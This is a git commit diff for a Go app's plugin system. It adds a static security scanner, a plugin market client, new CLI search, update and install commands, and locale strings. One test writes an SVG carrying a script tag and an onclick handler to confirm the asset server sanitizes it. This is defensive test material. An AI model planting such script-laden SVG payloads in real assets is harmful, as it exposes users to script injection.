feat(plugin,cli): add static security scanner and lazy plugin market

- Add unified static security scanner and install/load gate (internal/plugin/scanner.go) blocking undeclared binaries, SVG active content, theme script escapes, and undeclared network calls while reporting L3 Sidecar privileges and SHA-256
- Add lazy plugin market client (internal/plugin/market.go) with remote index fetching (REIMS_GO_PLUGIN_MARKET_URL), memory/disk caching, embedded offline fallback, withdrawn-plugin blocking, compatibility preflight, and SHA-256 verification
- Extend CLI with plugin search/update/install <id> and enhanced .zip/--json security doctor output; update backend locale catalog and plugin architecture docs
This commit is contained in:
千川白浪 committed 2026-11-30 01:04:20 -07:00
1 parent ceeb483cfb
commit 5a5977f93e
14 files changed
+2589 -164

No files matched your search

+4 -4
View File
@@ -378,8 +378,8 @@ UI 槽位采用「声明即占有」:宿主预定义 `vm.toolbar`、`vm.card`
- **安装来源**:本地包导入(首批)、市场索引(后续)、开发者模式本地目录链接。
- **随主程序附带的插件**:需要时可以标准插件包形式嵌入 `reims-go.exe`,信任等级为 `official`,版本跟随主程序;可启用/停用,不可卸载。
- **事务安装**:下载到 `tmp` → 校验 `SHA256SUMS` 与签名 → 核对包内 `id` / `version` 与预期一致(防偷换)→ 兼容预检 → 原子 rename 到 `pkgs/<id>/<version>` → 提交 `state.json`。任一步失败都不改变现状。
- **市场索引**:独立仓库发布静态 `index.json`(GitHub Releases,复用运行时下载的代理逻辑),含版本、`engines`、下载地址、SHA-256 与签名者;主程序内嵌兜底副本。
- **事务安装与静态准入门禁**:下载到 `tmp` → 校验 `SHA256SUMS` 与签名 → 核对包内 `id` / `version` 与预期一致(防偷换)→ 兼容预检 → 静态安全门禁(拦截 L1/L4 夹带可执行/系统脚本、L3 未声明二进制、SVG 主动脚本、`ui:script` 宿主逃逸或未声明联网、市场红线)→ 原子 rename 到 `pkgs/<id>/<version>` → 提交 `state.json`。任一步失败都不改变现状。对 L3 原生程序不声称“代码扫描安全”,仅核对清单完整性与 SHA-256 并向用户如实展示完整当前 Windows 账户权限说明。
- **市场索引与软撤回**:独立仓库发布轻量静态 `index.json`(二进制包托管在 GitHub Releases,复用运行时下载与代理逻辑;可通过 `REIMS_GO_PLUGIN_MARKET_URL` 配置镜像或 `off` 强制离线),含版本、`engines`、`platforms`、下载地址、SHA-256、签名者与软撤回列表(`withdrawn`,阻止新装并对存量用户展示替代建议);首次打开市场或执行市场 CLI 命令时惰性拉取,使用内存 + `<DataRoot>/plugins/index-cache.json` 双层缓存与主程序内嵌兜底副本,网络失败不覆写有效缓存。
- **更新与回滚**:新旧版本并存、切换指针,保留最近若干版本;插件同样区分 `alpha` / `stable` 通道,默认只取 `stable`。
- **安全模式**:`reims-go --safe-mode` 跳过全部第三方插件,界面顶部显示横幅与插件管理入口;以启动哨兵文件检测上次插件初始化阶段异常退出,下次启动询问是否进入安全模式。
- **市场红线**:拒收含 Apple 专有文件、SMBIOS 真值或闭源固件的包;运行时包必须附源码与许可证。
@@ -390,8 +390,8 @@ UI 槽位采用「声明即占有」:宿主预定义 `vm.toolbar`、`vm.card`
| 入口 | 内容 |
| :--- | :--- |
| CLI | `reims-go plugin list / install / link <dir> / enable [--approve-high-risk] / disable / remove [--purge] / info / doctor / locale <init\|check> / run <id> <command>`;`vm create --driver <id>` |
| 应用设置 → 插件 | 分组展示内置插件与第三方插件:核心置顶、显示「始终启用」且无开关;其余显示来源与信任标签、权限摘要、启用开关、故障状态与日志入口;本地包导入 |
| CLI | `reims-go plugin list / search / install <zip\|id> / update [id] / link <dir> / enable [--approve-high-risk] / disable / remove [--purge] / info / doctor [--json] [dir\|zip\|id] / locale <init\|check> / run <id> <command>`;`vm create --driver <id>` |
| 应用设置 → 插件 | 提供「已安装 / 插件市场」双视图(市场索引惰性加载):核心置顶、显示「始终启用」且无开关;其余显示来源与信任标签、权限摘要、安全扫描报告入口、启用开关、故障状态与日志入口;本地包导入前先展示三段式静态安全报告并执行硬门禁拦截 |
| 插件设置页 | 由 `settings` Schema 渲染,复用现有设置控件,标注生效时机 |
| VM 页面 | 按能力位显隐操作;`vm.toolbar` 菜单项支持 `when` 条件;`vm.card` 展示驱动或插件提供的键值信息 |
| 创建向导 | 先选驱动,再按驱动 `CreateSchema` 渲染专属表单 |
+108
View File
@@ -202,6 +202,7 @@ func (a *App) shutdownPlugins() {
a.mu.Lock()
mgr := a.pluginMgr
a.pluginMgr = nil
a.pluginMarket = nil
a.mu.Unlock()
i18n.SetPluginCatalogs(nil)
if mgr != nil {
@@ -209,6 +210,23 @@ func (a *App) shutdownPlugins() {
}
}
func (a *App) getPluginMarket() *plugin.MarketClient {
a.mu.Lock()
defer a.mu.Unlock()
if a.pluginMarket != nil {
return a.pluginMarket
}
dataRoot := ""
if a.cfg != nil {
dataRoot = a.cfg.DataRoot
}
a.pluginMarket = plugin.NewMarketClient(plugin.MarketClientOptions{
Layout: plugin.NewPluginsLayout(dataRoot),
HostVersion: version.Version,
})
return a.pluginMarket
}
// reloadPlugins tears down the existing Plugin Manager (if running) and
// re-initializes plugins and language packs against the current a.cfg.DataRoot.
func (a *App) reloadPlugins() {
@@ -826,6 +844,96 @@ func (a *App) DoctorPlugin(pluginID string) []plugin.DoctorFinding {
return plugin.DoctorDirectory(info.InstallDir, version.Version, nil)
}
// InspectPluginArchive runs the unified static security scanner on a local .zip
// package before installing it so the UI can display hard blockers, capabilities,
// and L3 native execution notices.
func (a *App) InspectPluginArchive(archivePath string) (plugin.ScanReport, error) {
a.mu.Lock()
mgr := a.pluginMgr
dataRoot := ""
if a.cfg != nil {
dataRoot = a.cfg.DataRoot
}
a.mu.Unlock()
tmpDir := plugin.NewPluginsLayout(dataRoot).TmpDir()
if mgr != nil {
tmpDir = mgr.Layout().TmpDir()
}
return plugin.ScanArchive(archivePath, tmpDir, version.Version, plugin.ScanOptions{})
}
// ScanInstalledPlugin runs the unified static risk report against an installed
// or dev-linked plugin directory.
func (a *App) ScanInstalledPlugin(pluginID string) (plugin.ScanReport, error) {
a.mu.Lock()
mgr := a.pluginMgr
a.mu.Unlock()
if mgr == nil {
return plugin.ScanReport{}, errors.New("plugin manager not initialized")
}
info, ok := mgr.Registry().Info(pluginID)
if !ok {
return plugin.ScanReport{}, fmt.Errorf("plugin %q not found", pluginID)
}
if info.InstallDir == "" {
return plugin.ScanReport{
PluginID: info.ID,
Version: info.Version,
Name: info.Name,
Tier: info.Tier,
Trust: info.Trust,
Publisher: info.Publisher,
License: info.License,
Passed: true,
Headline: plugin.LocalizedText{
ZhCN: "内置插件状态正常",
EnUS: "Built-in plugin is healthy",
},
}, nil
}
rep := plugin.ScanDirectory(info.InstallDir, version.Version, plugin.ScanOptions{})
if info.Trust == plugin.TrustDev {
rep.Trust = plugin.TrustDev
}
return rep, nil
}
// BrowsePluginMarket lazily queries the remote/cached/fallback plugin market
// index (never called at app startup, §8.1, §9).
func (a *App) BrowsePluginMarket(query, kind string, includeAlpha, forceRefresh bool) plugin.MarketBrowseResult {
a.mu.Lock()
mgr := a.pluginMgr
a.mu.Unlock()
var installed []plugin.PluginInfo
if mgr != nil {
installed = mgr.Registry().List()
}
return a.getPluginMarket().Browse(context.Background(), installed, plugin.MarketBrowseOptions{
Query: query,
Kind: kind,
IncludeAlpha: includeAlpha,
ForceRefresh: forceRefresh,
})
}
// InstallMarketPlugin downloads, verifies SHA-256, static-scans, and installs
// a plugin from the market index.
func (a *App) InstallMarketPlugin(pluginID string, includeAlpha bool) (*plugin.PluginInfo, error) {
a.mu.Lock()
mgr := a.pluginMgr
a.mu.Unlock()
if mgr == nil {
return nil, errors.New("plugin manager not initialized")
}
info, err := a.getPluginMarket().InstallFromMarket(context.Background(), mgr, pluginID, plugin.MarketInstallOptions{
IncludeAlpha: includeAlpha,
})
if err == nil && a.ctx != nil {
wailsRuntime.EventsEmit(a.ctx, "reims:state-changed", true)
}
return info, err
}
// PanelBridgeCall handles permission-checked, rate-limited, redacted Host API
// reads from sandboxed L4 iframe panels (§7.3).
func (a *App) PanelBridgeCall(pluginID, method string, params map[string]any) (any, error) {
+237 -18
View File
@@ -74,12 +74,84 @@ func openCLIPluginManager(cfg *config.Config, safeMode bool) (*plugin.Manager, *
return mgr, router, nil
}
func openCLIMarketClient(cfg *config.Config) *plugin.MarketClient {
return plugin.NewMarketClient(plugin.MarketClientOptions{
Layout: plugin.NewPluginsLayout(cfg.DataRoot),
HostVersion: version.Version,
})
}
func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
if len(args) == 0 {
return fmt.Errorf("usage: reims-go plugin <list|install|link|enable|disable|remove|info|doctor|locale|run>")
return fmt.Errorf("usage: reims-go plugin <list|search|install|update|link|enable|disable|remove|info|doctor|locale|run>")
}
ctx := context.Background()
switch args[0] {
case "search":
fs := flag.NewFlagSet("plugin search", flag.ContinueOnError)
kind := fs.String("kind", "", "Filter by plugin kind (theme, locale, driver, tool, template, runtime)")
includeAlpha := fs.Bool("alpha", false, "Include alpha channel plugins")
refresh := fs.Bool("refresh", false, "Bypass cache and refresh market index")
asJSON := fs.Bool("json", false, "Output JSON")
if err := fs.Parse(args[1:]); err != nil {
return err
}
mgr, _, err := openCLIPluginManager(cfg, true)
if err != nil {
return err
}
defer mgr.Close()
mc := openCLIMarketClient(cfg)
query := strings.TrimSpace(strings.Join(fs.Args(), " "))
res := mc.Browse(ctx, mgr.Registry().List(), plugin.MarketBrowseOptions{
Query: query,
Kind: *kind,
IncludeAlpha: *includeAlpha,
ForceRefresh: *refresh,
})
if *asJSON {
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
return enc.Encode(res)
}
if res.Stale && res.FetchError != "" {
fmt.Fprintf(os.Stderr, "[warn] %s (%s)\n", i18n.T(loc, "plugin.market.stale_warn"), res.FetchError)
}
for _, w := range res.WithdrawnInstalled {
fmt.Fprintf(os.Stderr, "[warn] %s: %s", w.ID, w.Reason.Get(string(loc)))
if w.InsteadID != "" {
fmt.Fprintf(os.Stderr, " -> %s", w.InsteadID)
}
fmt.Fprintln(os.Stderr)
}
if len(res.Items) == 0 {
fmt.Println(i18n.T(loc, "plugin.market.empty"))
return nil
}
for _, it := range res.Items {
status := it.Entry.Channel
switch {
case it.Withdrawn != nil:
status = "withdrawn"
case !it.Compatible:
status = "incompat"
case it.UpdateAvailable:
status = "update:" + it.InstalledVersion + "->" + it.Entry.Version
case it.Installed:
status = "installed"
}
kindLabel := it.Entry.Kind
if kindLabel == "" {
kindLabel = string(it.Entry.Tier)
}
if kindLabel == "" {
kindLabel = "-"
}
fmt.Printf("%-34s %-10s %-8s %-9s %-18s %s\n",
it.Entry.ID, it.Entry.Version, kindLabel, it.Entry.Trust, status, it.Entry.Name.Get(string(loc)))
}
return nil
case "list":
fs := flag.NewFlagSet("plugin list", flag.ContinueOnError)
asJSON := fs.Bool("json", false, "Output JSON")
@@ -111,15 +183,39 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
return nil
case "install":
if len(args) < 2 {
return fmt.Errorf("usage: reims-go plugin install <archive.zip>")
fs := flag.NewFlagSet("plugin install", flag.ContinueOnError)
includeAlpha := fs.Bool("alpha", false, "Allow alpha channel when installing by market plugin ID")
refresh := fs.Bool("refresh", false, "Refresh market index before installing")
if err := fs.Parse(args[1:]); err != nil {
return err
}
if fs.NArg() < 1 {
return fmt.Errorf("usage: reims-go plugin install [--alpha] [--refresh] <archive.zip|plugin-id>")
}
target := fs.Arg(0)
mgr, _, err := openCLIPluginManager(cfg, false)
if err != nil {
return err
}
defer mgr.Close()
info, err := mgr.InstallLocalArchive(ctx, args[1], plugin.PackageInstallOptions{})
isLocalFile := false
if st, statErr := os.Stat(target); statErr == nil && !st.IsDir() {
isLocalFile = true
} else if strings.HasSuffix(strings.ToLower(target), ".zip") || strings.ContainsAny(target, `/\`) {
isLocalFile = true
}
var info *plugin.PluginInfo
if isLocalFile {
info, err = mgr.InstallLocalArchive(ctx, target, plugin.PackageInstallOptions{})
} else {
mc := openCLIMarketClient(cfg)
info, err = mc.InstallFromMarket(ctx, mgr, target, plugin.MarketInstallOptions{
IncludeAlpha: *includeAlpha,
ForceRefresh: *refresh,
})
}
if err != nil {
return err
}
@@ -129,6 +225,60 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
}
return nil
case "update":
fs := flag.NewFlagSet("plugin update", flag.ContinueOnError)
includeAlpha := fs.Bool("alpha", false, "Allow alpha channel updates")
refresh := fs.Bool("refresh", true, "Refresh market index before checking updates")
if err := fs.Parse(args[1:]); err != nil {
return err
}
mgr, _, err := openCLIPluginManager(cfg, false)
if err != nil {
return err
}
defer mgr.Close()
mc := openCLIMarketClient(cfg)
if fs.NArg() > 0 {
id := fs.Arg(0)
if _, ok := mgr.Registry().Info(id); !ok {
return fmt.Errorf("%s", i18n.T(loc, "plugin.not_found", id))
}
info, uErr := mc.InstallFromMarket(ctx, mgr, id, plugin.MarketInstallOptions{
IncludeAlpha: *includeAlpha,
ForceRefresh: *refresh,
})
if uErr != nil {
return uErr
}
fmt.Println(i18n.T(loc, "plugin.installed", info.ID, info.Version, info.Trust, info.Tier))
if info.NeedsApproval {
fmt.Println(i18n.T(loc, "plugin.needs_approval", info.ID))
}
return nil
}
updates, browse := mc.CheckUpdates(ctx, mgr.Registry().List(), *includeAlpha, *refresh)
if browse.Stale && browse.FetchError != "" {
fmt.Fprintf(os.Stderr, "[warn] %s (%s)\n", i18n.T(loc, "plugin.market.stale_warn"), browse.FetchError)
}
if len(updates) == 0 {
fmt.Println(i18n.T(loc, "plugin.market.up_to_date"))
return nil
}
for _, up := range updates {
info, uErr := mc.InstallFromMarket(ctx, mgr, up.Entry.ID, plugin.MarketInstallOptions{
IncludeAlpha: *includeAlpha,
ForceRefresh: false,
})
if uErr != nil {
return fmt.Errorf("update %s: %w", up.Entry.ID, uErr)
}
fmt.Println(i18n.T(loc, "plugin.installed", info.ID, info.Version, info.Trust, info.Tier))
if info.NeedsApproval {
fmt.Println(i18n.T(loc, "plugin.needs_approval", info.ID))
}
}
return nil
case "link":
if len(args) < 2 {
return fmt.Errorf("usage: reims-go plugin link <dir>")
@@ -221,6 +371,7 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
case "doctor":
fs := flag.NewFlagSet("plugin doctor", flag.ContinueOnError)
contractPath := fs.String("contract", "", "Optional path to ui-contract.json for CSS validation")
asJSON := fs.Bool("json", false, "Output structured ScanReport JSON")
if err := fs.Parse(args[1:]); err != nil {
return err
}
@@ -236,15 +387,26 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
}
contract = &c
}
scanOpts := plugin.ScanOptions{Contract: contract}
target := ""
if fs.NArg() > 0 {
target = fs.Arg(0)
}
// If target is an existing directory, validate it directly (developer workflow, §5.1).
// Direct directory or .zip archive inspection (developer & market CI workflow, §5.1).
if target != "" {
if st, err := os.Stat(target); err == nil && st.IsDir() {
findings := plugin.DoctorDirectory(target, version.Version, contract)
return printDoctorFindings(loc, findings)
if st, err := os.Stat(target); err == nil {
if st.IsDir() {
rep := plugin.ScanDirectory(target, version.Version, scanOpts)
return printScanReports(loc, []plugin.ScanReport{rep}, *asJSON)
}
if strings.HasSuffix(strings.ToLower(target), ".zip") {
layout := plugin.NewPluginsLayout(cfg.DataRoot)
rep, sErr := plugin.ScanArchive(target, layout.TmpDir(), version.Version, scanOpts)
if sErr != nil {
return sErr
}
return printScanReports(loc, []plugin.ScanReport{rep}, *asJSON)
}
}
}
mgr, _, err := openCLIPluginManager(cfg, false)
@@ -258,25 +420,46 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
return fmt.Errorf("%s", i18n.T(loc, "plugin.target_not_found", target))
}
if info.InstallDir == "" {
if *asJSON {
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
return enc.Encode(plugin.ScanReport{
PluginID: info.ID,
Version: info.Version,
Name: info.Name,
Tier: info.Tier,
Trust: info.Trust,
Passed: true,
Headline: plugin.LocalizedText{
ZhCN: "内置插件状态正常",
EnUS: "Built-in plugin is healthy",
},
})
}
fmt.Printf("[ok] %s@%s (%s, state=%s)\n", info.ID, info.Version, info.Source, info.State)
return nil
}
return printDoctorFindings(loc, plugin.DoctorDirectory(info.InstallDir, version.Version, contract))
rep := plugin.ScanDirectory(info.InstallDir, version.Version, scanOpts)
return printScanReports(loc, []plugin.ScanReport{rep}, *asJSON)
}
// Audit all installed external plugins.
var allFindings []plugin.DoctorFinding
var reports []plugin.ScanReport
for _, info := range mgr.Registry().List() {
if info.InstallDir != "" {
allFindings = append(allFindings, plugin.DoctorDirectory(info.InstallDir, version.Version, contract)...)
} else {
allFindings = append(allFindings, plugin.DoctorFinding{
Severity: "ok",
Check: info.ID,
Message: fmt.Sprintf("%s@%s state=%s", info.ID, info.Version, info.State),
})
reports = append(reports, plugin.ScanDirectory(info.InstallDir, version.Version, scanOpts))
}
}
return printDoctorFindings(loc, allFindings)
if len(reports) == 0 {
if *asJSON {
fmt.Println("[]")
return nil
}
for _, info := range mgr.Registry().List() {
fmt.Printf("[ok] %s@%s (%s, state=%s)\n", info.ID, info.Version, info.Source, info.State)
}
return nil
}
return printScanReports(loc, reports, *asJSON)
case "locale":
return cmdPluginLocale(loc, args[1:])
@@ -311,6 +494,42 @@ func cmdPlugin(cfg *config.Config, loc i18n.Locale, args []string) error {
}
}
func printScanReports(loc i18n.Locale, reports []plugin.ScanReport, asJSON bool) error {
hasErr := false
for _, r := range reports {
if r.HardBlocked {
hasErr = true
}
}
if asJSON {
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
if len(reports) == 1 {
if err := enc.Encode(reports[0]); err != nil {
return err
}
} else {
if err := enc.Encode(reports); err != nil {
return err
}
}
if hasErr {
return fmt.Errorf("%s", i18n.T(loc, "plugin.doctor.errors"))
}
return nil
}
for i, r := range reports {
if i > 0 {
fmt.Println("---")
}
fmt.Println(r.SummaryText(string(loc)))
}
if hasErr {
return fmt.Errorf("%s", i18n.T(loc, "plugin.doctor.errors"))
}
return nil
}
func printDoctorFindings(loc i18n.Locale, findings []plugin.DoctorFinding) error {
hasErr := false
for _, f := range findings {
+8 -2
View File
@@ -33,7 +33,7 @@ var catalog = map[Locale]map[string]string{
"cli.usage.cmd_inst_del": " installer delete <文件名> 删除已下载的安装包(正在使用或下载中的会被拒绝)",
"cli.usage.cmd_inst_dl": " installer download <版本> 下载离线安装包(如 26.7.1、tahoe、latest;Ctrl+C 暂停,再次运行续传)",
"cli.usage.cmd_inst_list": " installer list 列出 Apple 提供的离线安装包版本(需联网)",
"cli.usage.cmd_plugin": " plugin list|install|link|enable|disable|remove|info|doctor|locale|run\n 管理内置扩展、语言包与第三方插件",
"cli.usage.cmd_plugin": " plugin list|search|install|update|link|enable|disable|remove|info|doctor|locale|run\n 管理内置扩展、语言包、插件市场与静态安全检查",
"cli.usage.cmd_rt_avail": " runtime available 列出 GitHub 上发布的运行时(--alpha 含 alpha 版)",
"cli.usage.cmd_rt_fetch": " runtime fetch [commit] 在线下载、校验并安装运行时(默认最新;Ctrl+C 暂停,再次运行续传)",
"cli.usage.cmd_rt_install": " runtime install <archive> 导入并校验本地运行时包(.tar.zst 或 .zip)",
@@ -343,6 +343,9 @@ var catalog = map[Locale]map[string]string{
"plugin.enabled": "已启用 {id}",
"plugin.installed": "已安装插件 {id}@{ver}(trust={trust},tier={tier})",
"plugin.linked": "已链接本地开发插件 {id}@{ver} -> {dir}",
"plugin.market.empty": "当前插件市场暂无匹配插件",
"plugin.market.stale_warn": "远程插件市场索引暂不可达,已回退至本地缓存/内置索引",
"plugin.market.up_to_date": "所有已安装插件均已是最新版本",
"plugin.needs_approval": "提示:此插件包含高危权限,启用前请运行:reims-go plugin enable --approve-high-risk {id}",
"plugin.not_found": "未找到插件 \"{id}\"",
"plugin.removed": "已卸载 {id}(purge={purge})",
@@ -526,7 +529,7 @@ var catalog = map[Locale]map[string]string{
"cli.usage.cmd_inst_del": " installer delete <name> Delete a downloaded installer (refused if in use or downloading)",
"cli.usage.cmd_inst_dl": " installer download <ver> Download an offline installer (26.7.1, tahoe, latest; Ctrl+C pauses, rerun resumes)",
"cli.usage.cmd_inst_list": " installer list List offline macOS installers Apple offers (needs network)",
"cli.usage.cmd_plugin": " plugin list|install|link|enable|disable|remove|info|doctor|locale|run\n Manage built-in extensions, language packs and third-party plugins",
"cli.usage.cmd_plugin": " plugin list|search|install|update|link|enable|disable|remove|info|doctor|locale|run\n Manage built-in extensions, language packs, plugin market and security checks",
"cli.usage.cmd_rt_avail": " runtime available List runtimes published on GitHub (--alpha includes alpha builds)",
"cli.usage.cmd_rt_fetch": " runtime fetch [commit] Download, verify and install a runtime (newest by default; Ctrl+C pauses)",
"cli.usage.cmd_rt_install": " runtime install <archive> Verify and install a local runtime package (.tar.zst or .zip)",
@@ -836,6 +839,9 @@ var catalog = map[Locale]map[string]string{
"plugin.enabled": "Enabled {id}",
"plugin.installed": "Installed {id}@{ver} (trust={trust}, tier={tier})",
"plugin.linked": "Linked dev plugin {id}@{ver} -> {dir}",
"plugin.market.empty": "No matching plugins found in the market index",
"plugin.market.stale_warn": "Remote plugin market unreachable; falling back to cached or embedded index",
"plugin.market.up_to_date": "All installed plugins are up to date",
"plugin.needs_approval": "Note: plugin requires high-risk permission approval; run: reims-go plugin enable --approve-high-risk {id}",
"plugin.not_found": "plugin \"{id}\" not found",
"plugin.removed": "Removed {id} (purge={purge})",
+11 -2
View File
@@ -450,6 +450,15 @@ func (m *Manager) buildSidecarActivator(man Manifest, exePath string, blockingAl
// InstallLocalArchive transactionally installs a local .zip plugin package and
// records it in state.json (disabled by default until user enables/approves it).
func (m *Manager) InstallLocalArchive(ctx context.Context, archivePath string, opts PackageInstallOptions) (*PluginInfo, error) {
return m.InstallArchiveWithSource(ctx, archivePath, SourceLocal, opts)
}
// InstallArchiveWithSource transactionally installs a .zip plugin package and
// records its origin source (SourceLocal or SourceMarket) in state.json.
func (m *Manager) InstallArchiveWithSource(ctx context.Context, archivePath string, source SourceKind, opts PackageInstallOptions) (*PluginInfo, error) {
if source == "" {
source = SourceLocal
}
if opts.HostVersion == "" {
opts.HostVersion = m.opts.HostVersion
}
@@ -472,7 +481,7 @@ func (m *Manager) InstallLocalArchive(ctx context.Context, archivePath string, o
if rec == nil {
rec = &PluginRecord{
ID: installed.Manifest.ID,
Source: SourceLocal,
Source: source,
Enabled: false,
}
m.state.Plugins[installed.Manifest.ID] = rec
@@ -489,7 +498,7 @@ func (m *Manager) InstallLocalArchive(ctx context.Context, archivePath string, o
rec.InstalledVersions = append(rec.InstalledVersions, installed.Manifest.Version)
}
rec.Version = installed.Manifest.Version
rec.Source = SourceLocal
rec.Source = source
rec.Trust = installed.Trust
rec.UpdatedAt = time.Now()
+20 -15
View File
@@ -183,11 +183,11 @@ func TestTransactionalInstallSigningRedlinesAndThemeDoctor(t *testing.T) {
},
})
validCSS := []byte(`.rg-p-sidebar { background: var(--surface-sidebar); }`)
svgWithScript := []byte(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle onclick="evil()" r="4"/></svg>`)
cleanSVG := []byte(`<svg xmlns="http://www.w3.org/2000/svg"><circle r="4"/></svg>`)
goodZip := makePluginZip(t, map[string][]byte{
"plugin.json": manifestJSON,
"theme.css": validCSS,
"mascot.svg": svgWithScript,
"mascot.svg": cleanSVG,
}, priv, false)
info, err := mgr.InstallLocalArchive(context.Background(), goodZip, plugin.PackageInstallOptions{})
@@ -216,19 +216,6 @@ func TestTransactionalInstallSigningRedlinesAndThemeDoctor(t *testing.T) {
t.Fatalf("wrong token status = %d, want 403", recBadTok.Code)
}
reqSVG := httptest.NewRequest(http.MethodGet, mgr.Assets().AssetURL("test.theme.aurora", "mascot.svg"), nil)
recSVG := httptest.NewRecorder()
mgr.Assets().ServeHTTP(recSVG, reqSVG)
if recSVG.Code != http.StatusOK {
t.Fatalf("SVG fetch status = %d, want 200", recSVG.Code)
}
if strings.Contains(recSVG.Body.String(), "<script") || strings.Contains(recSVG.Body.String(), "onclick") {
t.Fatalf("SVG was not sanitized: %s", recSVG.Body.String())
}
if recSVG.Header().Get("X-Content-Type-Options") != "nosniff" {
t.Fatal("missing X-Content-Type-Options: nosniff")
}
// Verify plugin doctor validates CSS against UI contract (§5.1).
contract := &plugin.UIContract{
UIAPI: "1.0.0",
@@ -242,6 +229,24 @@ func TestTransactionalInstallSigningRedlinesAndThemeDoctor(t *testing.T) {
}
}
// Verify defense-in-depth AssetServer SVG sanitization even if an SVG on disk is tampered with (§7.3).
svgWithScript := []byte(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle onclick="evil()" r="4"/></svg>`)
if err := os.WriteFile(filepath.Join(info.InstallDir, "mascot.svg"), svgWithScript, 0o644); err != nil {
t.Fatalf("write tampered svg: %v", err)
}
reqSVG := httptest.NewRequest(http.MethodGet, mgr.Assets().AssetURL("test.theme.aurora", "mascot.svg"), nil)
recSVG := httptest.NewRecorder()
mgr.Assets().ServeHTTP(recSVG, reqSVG)
if recSVG.Code != http.StatusOK {
t.Fatalf("SVG fetch status = %d, want 200", recSVG.Code)
}
if strings.Contains(recSVG.Body.String(), "<script") || strings.Contains(recSVG.Body.String(), "onclick") {
t.Fatalf("SVG was not sanitized: %s", recSVG.Body.String())
}
if recSVG.Header().Get("X-Content-Type-Options") != "nosniff" {
t.Fatal("missing X-Content-Type-Options: nosniff")
}
// 2. Corrupt checksum zip must be rejected before touching disk/state.
badSumZip := makePluginZip(t, map[string][]byte{"plugin.json": manifestJSON, "theme.css": validCSS}, nil, true)
if _, err := mgr.InstallLocalArchive(context.Background(), badSumZip, plugin.PackageInstallOptions{}); err == nil {
+638
View File
@@ -0,0 +1,638 @@
package plugin
import (
"context"
_ "embed"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"runtime"
"sort"
"strings"
"sync"
"time"
"github.com/Nwflower/reims-go/internal/fetch"
)
//go:embed market_fallback.json
var embeddedMarketFallbackJSON []byte
const (
// EnvPluginMarketURL overrides the remote plugin market index URL(s).
// Accepts a single HTTPS URL, a comma-separated list of mirror URLs, or
// "off"/"offline" to use the embedded fallback only.
EnvPluginMarketURL = "REIMS_GO_PLUGIN_MARKET_URL"
// DefaultMarketIndexURL is the static plugin market index published from
// the community plugins dist branch (never fetches on app startup).
DefaultMarketIndexURL = "https://raw.githubusercontent.com/Nwflower/reims-go-plugins/dist/index.json"
defaultMarketCacheTTL = 10 * time.Minute
maxMarketIndexBytes = 4 << 20 // 4 MiB ceiling for lightweight index.json
)
// MarketEntry describes one plugin published in the remote/embedded market index (§9).
type MarketEntry struct {
ID string `json:"id"`
Version string `json:"version"`
Name LocalizedText `json:"name"`
Description LocalizedText `json:"description"`
Publisher string `json:"publisher"`
License string `json:"license"`
Channel string `json:"channel"` // "stable" | "alpha"
Trust TrustLevel `json:"trust"`
Kind string `json:"kind,omitempty"` // "theme" | "locale" | "driver" | "tool" | "template" | "runtime"
Tier Tier `json:"tier,omitempty"`
Homepage string `json:"homepage,omitempty"`
ReadmeURL string `json:"readme_url,omitempty"`
Engines Engines `json:"engines"`
Platforms []string `json:"platforms,omitempty"`
Permissions []string `json:"permissions,omitempty"`
DownloadURL string `json:"download_url"`
SHA256 string `json:"sha256"`
SizeBytes int64 `json:"size_bytes,omitempty"`
Signer string `json:"signer,omitempty"`
Changelog LocalizedText `json:"changelog,omitempty"`
Tags []string `json:"tags,omitempty"`
UpdatedAt string `json:"updated_at,omitempty"`
}
// MarketWithdrawal represents a soft-withdrawn plugin: new installs are refused,
// while already-installed users keep running with a replacement advisory.
type MarketWithdrawal struct {
ID string `json:"id"`
Reason LocalizedText `json:"reason"`
InsteadID string `json:"instead_id,omitempty"`
InsteadName string `json:"instead_name,omitempty"`
WithdrawnAt string `json:"withdrawn_at,omitempty"`
}
// MarketIndex is the static index.json structure (§9).
type MarketIndex struct {
Schema int `json:"schema"`
UpdatedAt string `json:"updated_at"`
Plugins []MarketEntry `json:"plugins"`
Withdrawn []MarketWithdrawal `json:"withdrawn,omitempty"`
}
// EmbeddedFallbackMarketIndex is shipped as a zero-network fallback (§9).
var EmbeddedFallbackMarketIndex MarketIndex
func init() {
if err := json.Unmarshal(embeddedMarketFallbackJSON, &EmbeddedFallbackMarketIndex); err != nil {
EmbeddedFallbackMarketIndex = MarketIndex{
Schema: 1,
UpdatedAt: "2026-11-30T00:00:00Z",
Plugins: []MarketEntry{},
}
}
}
// MarketCatalogItem pairs a MarketEntry with local install/compatibility state.
type MarketCatalogItem struct {
Entry MarketEntry `json:"entry"`
Installed bool `json:"installed"`
InstalledVersion string `json:"installed_version,omitempty"`
UpdateAvailable bool `json:"update_available"`
Compatible bool `json:"compatible"`
IncompatibleReason string `json:"incompatible_reason,omitempty"`
Withdrawn *MarketWithdrawal `json:"withdrawn,omitempty"`
HighRiskPermissions []string `json:"high_risk_permissions,omitempty"`
}
// MarketBrowseOptions filters and controls market index browsing.
type MarketBrowseOptions struct {
Query string `json:"query,omitempty"`
Kind string `json:"kind,omitempty"`
IncludeAlpha bool `json:"include_alpha,omitempty"`
ForceRefresh bool `json:"force_refresh,omitempty"`
}
// MarketBrowseResult is returned by MarketClient.Browse for GUI & CLI consumption.
type MarketBrowseResult struct {
Source string `json:"source"` // "remote" | "cache" | "fallback"
Stale bool `json:"stale"`
FetchError string `json:"fetch_error,omitempty"`
UpdatedAt string `json:"updated_at,omitempty"`
Items []MarketCatalogItem `json:"items"`
WithdrawnInstalled []MarketWithdrawal `json:"withdrawn_installed,omitempty"`
}
// MarketInstallOptions controls InstallFromMarket.
type MarketInstallOptions struct {
IncludeAlpha bool
ForceRefresh bool
